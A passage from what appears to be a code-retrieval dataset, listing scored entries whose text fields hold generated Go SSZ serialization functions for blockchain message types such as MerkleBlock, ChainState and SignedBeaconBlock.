"e4229ff057fc58d9b6dfe762d44e6d0a", "score": "0.59829223", "text": "func (b *BlockData) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 4 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o0 uint64\n\n\t// Offset (0) 'BlockBytes'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn errOffset\n\t}\n\n\t// Field (0) 'BlockBytes'\n\t{\n\t\tbuf = tail[o0:]\n\t\tb.BlockBytes = append(b.BlockBytes, buf...)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "72ff33202eb22a554ae36cdd7f2aedaf", "score": "0.58884114", "text": "func (b *BlockData) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'BlockBytes'\n\tsize += len(b.BlockBytes)\n\n\treturn\n}", "title": "" }, { "docid": "defb5c474c58e10c579866f73e76c562", "score": "0.5853736", "text": "func (m *MerkleBlock) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 20 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o0, o2, o3 uint64\n\n\t// Offset (0) 'Header'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn errOffset\n\t}\n\n\t// Field (1) 'Transactions'\n\tm.Transactions = ssz.UnmarshallUint64(buf[4:12])\n\n\t// Offset (2) 'Hashes'\n\tif o2 = ssz.ReadOffset(buf[12:16]); o2 > size || o0 > o2 {\n\t\treturn errOffset\n\t}\n\n\t// Offset (3) 'Flags'\n\tif o3 = ssz.ReadOffset(buf[16:20]); o3 > size || o2 > o3 {\n\t\treturn errOffset\n\t}\n\n\t// Field (0) 'Header'\n\t{\n\t\tbuf = tail[o0:o2]\n\t\tm.Header = append(m.Header, buf...)\n\t}\n\n\t// Field (2) 'Hashes'\n\t{\n\t\tbuf = tail[o2:o3]\n\t\tnum, ok := ssz.DivideInt(len(buf), 32)\n\t\tif !ok {\n\t\t\treturn errDivideInt\n\t\t}\n\t\tif num > 104858 {\n\t\t\treturn errListTooBig\n\t\t}\n\t\tm.Hashes = make([]*Hash, num)\n\t\tfor ii := 0; ii < num; ii++ {\n\t\t\tif m.Hashes[ii] == nil {\n\t\t\t\tm.Hashes[ii] = new(Hash)\n\t\t\t}\n\t\t\tif err = m.Hashes[ii].UnmarshalSSZ(buf[ii*32 : (ii+1)*32]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\t// Field (3) 'Flags'\n\t{\n\t\tbuf = tail[o3:]\n\t\tm.Flags = append(m.Flags, buf...)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "6a1c33f8f3f34b2061699ccabe9211be", "score": "0.5823821", "text": "func (t *Transaction) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(4)\n\n\t// Offset (0) 'TxBytes'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(t.TxBytes)\n\n\t// Field (0) 'TxBytes'\n\tif len(t.TxBytes) > 1048576 {\n\t\treturn nil, errMarshalDynamicBytes\n\t}\n\tdst = append(dst, t.TxBytes...)\n\n\treturn dst, err\n}", "title": "" }, { "docid": "6e7f9920f3ec1d0a0c3e36a9d31b0e40", "score": "0.5820702", "text": "func (g *GetBlocks) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 4 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o0 uint64\n\n\t// Offset (0) 'Locator'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn errOffset\n\t}\n\n\t// Field (0) 'Locator'\n\t{\n\t\tbuf = tail[o0:]\n\t\tnum, ok := ssz.DivideInt(len(buf), 32)\n\t\tif !ok {\n\t\t\treturn errDivideInt\n\t\t}\n\t\tif num > 2000 {\n\t\t\treturn errListTooBig\n\t\t}\n\t\tg.Locator = make([]*Hash, num)\n\t\tfor ii := 0; ii < num; ii++ {\n\t\t\tif g.Locator[ii] == nil {\n\t\t\t\tg.Locator[ii] = new(Hash)\n\t\t\t}\n\t\t\tif err = g.Locator[ii].UnmarshalSSZ(buf[ii*32 : (ii+1)*32]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "d2a0e556de1f60b25d42073cebd14f05", "score": "0.5790093", "text": "func (g *GetBlockDatas) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'Locator'\n\tsize += len(g.Locator) * 32\n\n\treturn\n}", "title": "" }, { "docid": "b556cf49dc3f3abf62d256ba78e5e9ac", "score": "0.5775811", "text": "func (m *MsgGetBlocks) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 36 {\n\t\treturn ssz.ErrSize\n\t}\n\n\ttail := buf\n\tvar o1 uint64\n\n\t// Field (0) 'HashStop'\n\tcopy(m.HashStop[:], buf[0:32])\n\n\t// Offset (1) 'LocatorHashes'\n\tif o1 = ssz.ReadOffset(buf[32:36]); o1 > size {\n\t\treturn ssz.ErrOffset\n\t}\n\n\t// Field (1) 'LocatorHashes'\n\t{\n\t\tbuf = tail[o1:]\n\t\tnum, err := ssz.DivideInt2(len(buf), 32, 64)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tm.LocatorHashes = make([][32]byte, num)\n\t\tfor ii := 0; ii < num; ii++ {\n\t\t\tcopy(m.LocatorHashes[ii][:], buf[ii*32:(ii+1)*32])\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "15a50b744ddbf4907a9183fa27451006", "score": "0.57621336", "text": "func (i *Inventory) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(4)\n\n\t// Offset (0) 'Invs'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(i.Invs) * 36\n\n\t// Field (0) 'Invs'\n\tif len(i.Invs) > 2000 {\n\t\treturn nil, errMarshalList\n\t}\n\tfor ii := 0; ii < len(i.Invs); ii++ {\n\t\tif dst, err = i.Invs[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "a99455c28c9f422db2c8af8887280d62", "score": "0.57608366", "text": "func (c *ChainState) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(61)\n\n\t// Field (0) 'GenesisHash'\n\tif c.GenesisHash == nil {\n\t\tc.GenesisHash = new(Hash)\n\t}\n\tif dst, err = c.GenesisHash.MarshalSSZTo(dst); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Field (1) 'ProtocolVersion'\n\tdst = ssz.MarshalUint32(dst, c.ProtocolVersion)\n\n\t// Field (2) 'Timestamp'\n\tdst = ssz.MarshalUint64(dst, c.Timestamp)\n\n\t// Field (3) 'Services'\n\tdst = ssz.MarshalUint64(dst, c.Services)\n\n\t// Field (4) 'DisableRelayTx'\n\tdst = ssz.MarshalBool(dst, c.DisableRelayTx)\n\n\t// Offset (5) 'GraphState'\n\tdst = ssz.WriteOffset(dst, offset)\n\tif c.GraphState == nil {\n\t\tc.GraphState = new(GraphState)\n\t}\n\toffset += c.GraphState.SizeSSZ()\n\n\t// Offset (6) 'UserAgent'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(c.UserAgent)\n\n\t// Field (5) 'GraphState'\n\tif dst, err = c.GraphState.MarshalSSZTo(dst); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Field (6) 'UserAgent'\n\tif len(c.UserAgent) > 256 {\n\t\treturn nil, errMarshalDynamicBytes\n\t}\n\tdst = append(dst, c.UserAgent...)\n\n\treturn dst, err\n}", "title": "" }, { "docid": "64262cf55ea8fafefb1c4514cb0e9a41", "score": "0.5760796", "text": "func (i *InvVect) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\n\t// Field (0) 'Type'\n\tdst = ssz.MarshalUint32(dst, i.Type)\n\n\t// Field (1) 'Hash'\n\tif i.Hash == nil {\n\t\ti.Hash = new(Hash)\n\t}\n\tif dst, err = i.Hash.MarshalSSZTo(dst); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "502d095700f5bf9d89eede405db3fdbe", "score": "0.57139874", "text": "func (m *MsgGetBlocks) SizeSSZ() (size int) {\n\tsize = 36\n\n\t// Field (1) 'LocatorHashes'\n\tsize += len(m.LocatorHashes) * 32\n\n\treturn\n}", "title": "" }, { "docid": "20d9352fefedda42ef864b7604362d4d", "score": "0.56973577", "text": "func (s *SignedBeaconBlock) MarshalSSZTo(buf []byte) (dst []byte, err error) {\n\tdst = buf\n\toffset := int(100)\n\n\t// Offset (0) 'Message'\n\tdst = ssz.WriteOffset(dst, offset)\n\tif s.Message == nil {\n\t\ts.Message = new(BeaconBlock)\n\t}\n\toffset += s.Message.SizeSSZ()\n\n\t// Field (1) 'Signature'\n\tdst = append(dst, s.Signature[:]...)\n\n\t// Field (0) 'Message'\n\tif dst, err = s.Message.MarshalSSZTo(dst); err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "303d1317d70660dc76a020938cbcd053", "score": "0.5678546", "text": "func (m *MetaData) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\n\t// Field (0) 'SeqNumber'\n\tdst = ssz.MarshalUint64(dst, m.SeqNumber)\n\n\t// Field (1) 'Subnets'\n\tif dst, err = ssz.MarshalFixedBytes(dst, m.Subnets, 8); err != nil {\n\t\treturn nil, errMarshalFixedBytes\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "afdf48f86bbae763e9e38780b81f51f1", "score": "0.5571797", "text": "func (g *GraphState) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(20)\n\n\t// Field (0) 'Total'\n\tdst = ssz.MarshalUint32(dst, g.Total)\n\n\t// Field (1) 'Layer'\n\tdst = ssz.MarshalUint32(dst, g.Layer)\n\n\t// Field (2) 'MainHeight'\n\tdst = ssz.MarshalUint32(dst, g.MainHeight)\n\n\t// Field (3) 'MainOrder'\n\tdst = ssz.MarshalUint32(dst, g.MainOrder)\n\n\t// Offset (4) 'Tips'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(g.Tips) * 32\n\n\t// Field (4) 'Tips'\n\tif len(g.Tips) > 100 {\n\t\treturn nil, errMarshalList\n\t}\n\tfor ii := 0; ii < len(g.Tips); ii++ {\n\t\tif dst, err = g.Tips[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "e8cf02c11b208db9b0eb75ed15455a4e", "score": "0.5516925", "text": "func (d *DagBlocks) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'Blocks'\n\tsize += len(d.Blocks) * 32\n\n\treturn\n}", "title": "" }, { "docid": "8058cb8245a732be7f5636e451673623", "score": "0.5505997", "text": "func (s *SyncDAG) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(8)\n\n\t// Offset (0) 'MainLocator'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(s.MainLocator) * 32\n\n\t// Offset (1) 'GraphState'\n\tdst = ssz.WriteOffset(dst, offset)\n\tif s.GraphState == nil {\n\t\ts.GraphState = new(GraphState)\n\t}\n\toffset += s.GraphState.SizeSSZ()\n\n\t// Field (0) 'MainLocator'\n\tif len(s.MainLocator) > 32 {\n\t\treturn nil, errMarshalList\n\t}\n\tfor ii := 0; ii < len(s.MainLocator); ii++ {\n\t\tif dst, err = s.MainLocator[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// Field (1) 'GraphState'\n\tif dst, err = s.GraphState.MarshalSSZTo(dst); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "34417ee3b1fd677b9162cdfab2216c8a", "score": "0.54956657", "text": "func (t *Transaction) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 4 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o0 uint64\n\n\t// Offset (0) 'TxBytes'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn errOffset\n\t}\n\n\t// Field (0) 'TxBytes'\n\t{\n\t\tbuf = tail[o0:]\n\t\tt.TxBytes = append(t.TxBytes, buf...)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "5750964eacec67c914959fc38f8642e2", "score": "0.54599196", "text": "func (m *MerkleBlock) SizeSSZ() (size int) {\n\tsize = 20\n\n\t// Field (0) 'Header'\n\tsize += len(m.Header)\n\n\t// Field (2) 'Hashes'\n\tsize += len(m.Hashes) * 32\n\n\t// Field (3) 'Flags'\n\tsize += len(m.Flags)\n\n\treturn\n}", "title": "" }, { "docid": "08b74adb5696a8381b7f48ab9f78c0f5", "score": "0.545656", "text": "func (m *MerkleBlockResponse) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'Data'\n\tfor ii := 0; ii < len(m.Data); ii++ {\n\t\tsize += 4\n\t\tsize += m.Data[ii].SizeSSZ()\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "8b16247152543cf204a23060979c2948", "score": "0.5455315", "text": "func (s Z) MarshalJSON() (bs []byte, err error) { return }", "title": "" }, { "docid": "4a985751f830db9b10c645e8d9f9cf7f", "score": "0.5452912", "text": "func (d *DagBlocks) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 4 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o0 uint64\n\n\t// Offset (0) 'Blocks'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn errOffset\n\t}\n\n\t// Field (0) 'Blocks'\n\t{\n\t\tbuf = tail[o0:]\n\t\tnum, ok := ssz.DivideInt(len(buf), 32)\n\t\tif !ok {\n\t\t\treturn errDivideInt\n\t\t}\n\t\tif num > 2000 {\n\t\t\treturn errListTooBig\n\t\t}\n\t\td.Blocks = make([]*Hash, num)\n\t\tfor ii := 0; ii < num; ii++ {\n\t\t\tif d.Blocks[ii] == nil {\n\t\t\t\td.Blocks[ii] = new(Hash)\n\t\t\t}\n\t\t\tif err = d.Blocks[ii].UnmarshalSSZ(buf[ii*32 : (ii+1)*32]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "6be81c4782917b79d134640f08d29695", "score": "0.54374135", "text": "func (g *GetBlocks) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'Locator'\n\tsize += len(g.Locator) * 32\n\n\treturn\n}", "title": "" }, { "docid": "7189be9ae44511adbc136e8dc85da838", "score": "0.5421896", "text": "func (h *Hash) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\n\t// Field (0) 'Hash'\n\tif dst, err = ssz.MarshalFixedBytes(dst, h.Hash, 32); err != nil {\n\t\treturn nil, errMarshalFixedBytes\n\t}\n\n\treturn dst, err\n}", "title": "" }, { "docid": "0f86e5d488b7169fc454f2c48375e11a", "score": "0.53969055", "text": "func (f *Fork) MarshalSSZTo(buf []byte) (dst []byte, err error) {\n\tdst = buf\n\n\t// Field (0) 'PreviousVersion'\n\tdst = append(dst, f.PreviousVersion[:]...)\n\n\t// Field (1) 'CurrentVersion'\n\tdst = append(dst, f.CurrentVersion[:]...)\n\n\t// Field (2) 'Epoch'\n\tdst = ssz.MarshalUint64(dst, uint64(f.Epoch))\n\n\treturn\n}", "title": "" }, { "docid": "b5d5ffd70aeda2928bcfc02a8e811dd9", "score": "0.5394593", "text": "func (m *MemPoolRequest) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\n\treturn dst, err\n}", "title": "" }, { "docid": "d9a2228419707e04aebc1c7c680cff00", "score": "0.53380096", "text": "func (s *SubDAG) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 40 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o1, o2 uint64\n\n\t// Field (0) 'SyncPoint'\n\tif s.SyncPoint == nil {\n\t\ts.SyncPoint = new(Hash)\n\t}\n\tif err = s.SyncPoint.UnmarshalSSZ(buf[0:32]); err != nil {\n\t\treturn err\n\t}\n\n\t// Offset (1) 'GraphState'\n\tif o1 = ssz.ReadOffset(buf[32:36]); o1 > size {\n\t\treturn errOffset\n\t}\n\n\t// Offset (2) 'Blocks'\n\tif o2 = ssz.ReadOffset(buf[36:40]); o2 > size || o1 > o2 {\n\t\treturn errOffset\n\t}\n\n\t// Field (1) 'GraphState'\n\t{\n\t\tbuf = tail[o1:o2]\n\t\tif s.GraphState == nil {\n\t\t\ts.GraphState = new(GraphState)\n\t\t}\n\t\tif err = s.GraphState.UnmarshalSSZ(buf); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Field (2) 'Blocks'\n\t{\n\t\tbuf = tail[o2:]\n\t\tnum, ok := ssz.DivideInt(len(buf), 32)\n\t\tif !ok {\n\t\t\treturn errDivideInt\n\t\t}\n\t\tif num > 2000 {\n\t\t\treturn errListTooBig\n\t\t}\n\t\ts.Blocks = make([]*Hash, num)\n\t\tfor ii := 0; ii < num; ii++ {\n\t\t\tif s.Blocks[ii] == nil {\n\t\t\t\ts.Blocks[ii] = new(Hash)\n\t\t\t}\n\t\t\tif err = s.Blocks[ii].UnmarshalSSZ(buf[ii*32 : (ii+1)*32]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "a60d1a3a55309fa3233c820a8e1db1aa", "score": "0.5291126", "text": "func (i *InvVect) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size != 36 {\n\t\treturn errSize\n\t}\n\n\t// Field (0) 'Type'\n\ti.Type = ssz.UnmarshallUint32(buf[0:4])\n\n\t// Field (1) 'Hash'\n\tif i.Hash == nil {\n\t\ti.Hash = new(Hash)\n\t}\n\tif err = i.Hash.UnmarshalSSZ(buf[4:36]); err != nil {\n\t\treturn err\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "d452289f1b56246bf7b6a1b72b37fedc", "score": "0.5259478", "text": "func (m *MerkleBlockResponse) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 4 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o0 uint64\n\n\t// Offset (0) 'Data'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn errOffset\n\t}\n\n\t// Field (0) 'Data'\n\t{\n\t\tbuf = tail[o0:]\n\t\tnum, err := ssz.DecodeDynamicLength(buf, 2000)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tm.Data = make([]*MerkleBlock, num)\n\t\terr = ssz.UnmarshalDynamic(buf, num, func(indx int, buf []byte) (err error) {\n\t\t\tif m.Data[indx] == nil {\n\t\t\t\tm.Data[indx] = new(MerkleBlock)\n\t\t\t}\n\t\t\tif err = m.Data[indx].UnmarshalSSZ(buf); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "a70931ff958ac7ccb4c07a94352e5803", "score": "0.5237736", "text": "func (t *Transaction) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'TxBytes'\n\tsize += len(t.TxBytes)\n\n\treturn\n}", "title": "" }, { "docid": "616155fc2955cde68bba7147fadd6a39", "score": "0.5222723", "text": "func (m *MsgProofs) MarshalSSZTo(buf []byte) (dst []byte, err error) {\n\tdst = buf\n\toffset := int(4)\n\n\t// Offset (0) 'Proofs'\n\tdst = ssz.WriteOffset(dst, offset)\n\tfor ii := 0; ii < len(m.Proofs); ii++ {\n\t\toffset += 4\n\t\toffset += m.Proofs[ii].SizeSSZ()\n\t}\n\n\t// Field (0) 'Proofs'\n\tif len(m.Proofs) > 2048 {\n\t\terr = ssz.ErrListTooBig\n\t\treturn\n\t}\n\t{\n\t\toffset = 4 * len(m.Proofs)\n\t\tfor ii := 0; ii < len(m.Proofs); ii++ {\n\t\t\tdst = ssz.WriteOffset(dst, offset)\n\t\t\toffset += m.Proofs[ii].SizeSSZ()\n\t\t}\n\t}\n\tfor ii := 0; ii < len(m.Proofs); ii++ {\n\t\tif dst, err = m.Proofs[ii].MarshalSSZTo(dst); err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "3312eaa4a5e4a5c40fcf2e4fb1baf33e", "score": "0.52164197", "text": "func (s *SignedBeaconBlock) SizeSSZ() (size int) {\n\tsize = 100\n\n\t// Field (0) 'Message'\n\tif s.Message == nil {\n\t\ts.Message = new(BeaconBlock)\n\t}\n\tsize += s.Message.SizeSSZ()\n\n\treturn\n}", "title": "" }, { "docid": "e8b8ab90889ed6a31d8382ec64d158cd", "score": "0.52128845", "text": "func (s *SyncQNR) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(4)\n\n\t// Offset (0) 'Qnr'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(s.Qnr)\n\n\t// Field (0) 'Qnr'\n\tif len(s.Qnr) > 300 {\n\t\treturn nil, errMarshalDynamicBytes\n\t}\n\tdst = append(dst, s.Qnr...)\n\n\treturn dst, err\n}", "title": "" }, { "docid": "b345d515e503a251520c541e5b637150", "score": "0.51990974", "text": "func (m *MerkleBlockRequest) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 4 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o0 uint64\n\n\t// Offset (0) 'Hashes'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn errOffset\n\t}\n\n\t// Field (0) 'Hashes'\n\t{\n\t\tbuf = tail[o0:]\n\t\tnum, ok := ssz.DivideInt(len(buf), 32)\n\t\tif !ok {\n\t\t\treturn errDivideInt\n\t\t}\n\t\tif num > 2000 {\n\t\t\treturn errListTooBig\n\t\t}\n\t\tm.Hashes = make([]*Hash, num)\n\t\tfor ii := 0; ii < num; ii++ {\n\t\t\tif m.Hashes[ii] == nil {\n\t\t\t\tm.Hashes[ii] = new(Hash)\n\t\t\t}\n\t\t\tif err = m.Hashes[ii].UnmarshalSSZ(buf[ii*32 : (ii+1)*32]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "4613523bf7d8d4674ac98749a5208c80", "score": "0.51776713", "text": "func (f *FilterLoadRequest) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(28)\n\n\t// Offset (0) 'Filter'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(f.Filter)\n\n\t// Field (1) 'HashFuncs'\n\tdst = ssz.MarshalUint64(dst, f.HashFuncs)\n\n\t// Field (2) 'Tweak'\n\tdst = ssz.MarshalUint64(dst, f.Tweak)\n\n\t// Field (3) 'Flags'\n\tdst = ssz.MarshalUint64(dst, f.Flags)\n\n\t// Field (0) 'Filter'\n\tif len(f.Filter) > 256 {\n\t\treturn nil, errMarshalDynamicBytes\n\t}\n\tdst = append(dst, f.Filter...)\n\n\treturn dst, err\n}", "title": "" }, { "docid": "4060d908e8bcbf5a7f21be98d138738b", "score": "0.51727057", "text": "func (m *Multisig) Marshal() ([]byte, error) {\n\treturn m.MarshalSSZ()\n}", "title": "" }, { "docid": "f2703347376fa9367a472815b3db230c", "score": "0.5149695", "text": "func (m *MetaData) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size != 16 {\n\t\treturn errSize\n\t}\n\n\t// Field (0) 'SeqNumber'\n\tm.SeqNumber = ssz.UnmarshallUint64(buf[0:8])\n\n\t// Field (1) 'Subnets'\n\tm.Subnets = append(m.Subnets, buf[8:16]...)\n\n\treturn err\n}", "title": "" }, { "docid": "99003014601630e501de428af1a96004", "score": "0.51484215", "text": "func (bh *blockHeader) marshal(dst []byte) []byte {\n\t// Do not store the version used for encoding directly in the block header, since:\n\t// - all the block headers in the same part use the same encoding\n\t// - the block header encoding version can be put in metadata file for the part (aka metadataFilename)\n\n\tdst = bh.streamID.marshal(dst)\n\tdst = encoding.MarshalVarUint64(dst, bh.uncompressedSizeBytes)\n\tdst = encoding.MarshalVarUint64(dst, bh.rowsCount)\n\tdst = bh.timestampsHeader.marshal(dst)\n\tdst = encoding.MarshalVarUint64(dst, bh.columnsHeaderOffset)\n\tdst = encoding.MarshalVarUint64(dst, bh.columnsHeaderSize)\n\n\treturn dst\n}", "title": "" }, { "docid": "8578b86d92f7241b4b5fb7f2500e48f3", "score": "0.5144489", "text": "func (m *MsgBlocks) Marshal() ([]byte, error) {\n\treturn m.MarshalSSZ()\n}", "title": "" }, { "docid": "97b7a6c3d1fdbceacd08df9fc2cf34ae", "score": "0.51402897", "text": "func (m *MetaData) SizeSSZ() (size int) {\n\tsize = 16\n\treturn\n}", "title": "" }, { "docid": "8e8474f465e97d7fe4c089eafaf457c2", "score": "0.513862", "text": "func (t *TxLocator) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size != 72 {\n\t\treturn ssz.ErrSize\n\t}\n\n\t// Field (0) 'Hash'\n\tcopy(t.Hash[:], buf[0:32])\n\n\t// Field (1) 'Block'\n\tcopy(t.Block[:], buf[32:64])\n\n\t// Field (2) 'Index'\n\tt.Index = ssz.UnmarshallUint64(buf[64:72])\n\n\treturn err\n}", "title": "" }, { "docid": "aa44feabbc93574a00e71c5e5007abd3", "score": "0.5129442", "text": "func (m *MsgProofs) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'Proofs'\n\tfor ii := 0; ii < len(m.Proofs); ii++ {\n\t\tsize += 4\n\t\tsize += m.Proofs[ii].SizeSSZ()\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "e2d63f76bd534fc5ff58d35b088a762c", "score": "0.51216775", "text": "func (i *InvVect) SizeSSZ() (size int) {\n\tsize = 36\n\treturn\n}", "title": "" }, { "docid": "1243b3059a56dbdc4fee29c6e6e5578e", "score": "0.5115215", "text": "func (s *SignedBeaconBlock) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 100 {\n\t\treturn ssz.ErrSize\n\t}\n\n\ttail := buf\n\tvar o0 uint64\n\n\t// Offset (0) 'Message'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn ssz.ErrOffset\n\t}\n\n\t// Field (1) 'Signature'\n\tcopy(s.Signature[:], buf[4:100])\n\n\t// Field (0) 'Message'\n\t{\n\t\tbuf = tail[o0:]\n\t\tif s.Message == nil {\n\t\t\ts.Message = new(BeaconBlock)\n\t\t}\n\t\tif err = s.Message.UnmarshalSSZ(buf); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "5199a78c6cd7a0713e11daf7ff7c8121", "score": "0.5088409", "text": "func (c *ChainState) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 61 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o5, o6 uint64\n\n\t// Field (0) 'GenesisHash'\n\tif c.GenesisHash == nil {\n\t\tc.GenesisHash = new(Hash)\n\t}\n\tif err = c.GenesisHash.UnmarshalSSZ(buf[0:32]); err != nil {\n\t\treturn err\n\t}\n\n\t// Field (1) 'ProtocolVersion'\n\tc.ProtocolVersion = ssz.UnmarshallUint32(buf[32:36])\n\n\t// Field (2) 'Timestamp'\n\tc.Timestamp = ssz.UnmarshallUint64(buf[36:44])\n\n\t// Field (3) 'Services'\n\tc.Services = ssz.UnmarshallUint64(buf[44:52])\n\n\t// Field (4) 'DisableRelayTx'\n\tc.DisableRelayTx = ssz.UnmarshalBool(buf[52:53])\n\n\t// Offset (5) 'GraphState'\n\tif o5 = ssz.ReadOffset(buf[53:57]); o5 > size {\n\t\treturn errOffset\n\t}\n\n\t// Offset (6) 'UserAgent'\n\tif o6 = ssz.ReadOffset(buf[57:61]); o6 > size || o5 > o6 {\n\t\treturn errOffset\n\t}\n\n\t// Field (5) 'GraphState'\n\t{\n\t\tbuf = tail[o5:o6]\n\t\tif c.GraphState == nil {\n\t\t\tc.GraphState = new(GraphState)\n\t\t}\n\t\tif err = c.GraphState.UnmarshalSSZ(buf); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Field (6) 'UserAgent'\n\t{\n\t\tbuf = tail[o6:]\n\t\tc.UserAgent = append(c.UserAgent, buf...)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "7825fe252586d38a335d6afaf40f5764", "score": "0.50635195", "text": "func (m *MsgProofs) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 4 {\n\t\treturn ssz.ErrSize\n\t}\n\n\ttail := buf\n\tvar o0 uint64\n\n\t// Offset (0) 'Proofs'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn ssz.ErrOffset\n\t}\n\n\t// Field (0) 'Proofs'\n\t{\n\t\tbuf = 